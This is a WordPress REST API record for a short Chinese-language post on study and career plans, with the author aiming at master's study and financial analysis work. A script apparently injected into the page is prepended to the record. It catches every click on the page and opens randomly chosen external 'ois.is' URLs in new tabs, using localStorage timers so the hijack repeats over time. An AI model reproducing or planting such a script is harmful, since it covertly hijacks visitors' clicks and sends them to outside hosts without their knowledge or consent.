<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":395,"date":"2014-05-03T22:36:59","date_gmt":"2014-05-03T14:36:59","guid":{"rendered":"http:\/\/edu.secda.info\/scu8154204\/?p=395"},"modified":"2023-03-09T23:52:07","modified_gmt":"2023-03-09T15:52:07","slug":"%e5%ad%b8%e6%b6%af%e8%a7%84%e5%88%92","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu8154204\/?p=395","title":{"rendered":"\u5b78\u6daf\u898f\u5283"},"content":{"rendered":"<hr \/>\n<p><span style=\"font-size: 14pt;\"><strong><span style=\"color: #0000ff;\">\u3010\u6211\u7684\u5fd7\u9858\u3001\u8077\u696d\u65b9\u5411\u3011<\/span><\/strong><\/span><\/p>\n<p><span style=\"font-size: 12pt; line-height: 1.3em; color: #808080;\">\u5728\u5373\u5c07\u5230\u4f86\u7684\u78a9\u73ed\u751f\u6d3b\uff0c\u5e0c\u671b\u80fd\u900f\u904e\u518d\u9032\u4fee\u5c08\u696d\u548c\u5be6\u52d9\u6280\u80fd\uff0c\u929c\u63a5\u8077\u5834\u7684\u61c9\u7528\uff0c<\/span><\/p>\n<p>\u76ee\u6a19\u9818\u57df\u662f\u5f80\u91d1\u878d\u63a7\u80a1\u516c\u53f8\u4e4b\u8ca1\u52d9\u5206\u6790\u3001\u7814\u7a76\u505a\u70ba\u8077\u6daf\u767c\u5c55\u7684\u65b9\u5411\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u3010\u6211\u7684\u5fd7\u9858\u3001\u8077\u696d\u65b9\u5411\u3011 \u5728\u5373\u5c07\u5230\u4f86\u7684\u78a9\u73ed\u751f\u6d3b\uff0c\u5e0c\u671b\u80fd\u900f\u904e\u518d\u9032\u4fee\u5c08\u696d\u548c\u5be6\u52d9\u6280\u80fd\uff0c\u929c<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[19],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/posts\/395"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=395"}],"version-history":[{"count":9,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/posts\/395\/revisions"}],"predecessor-version":[{"id":979,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/posts\/395\/revisions\/979"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=395"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=395"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=395"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}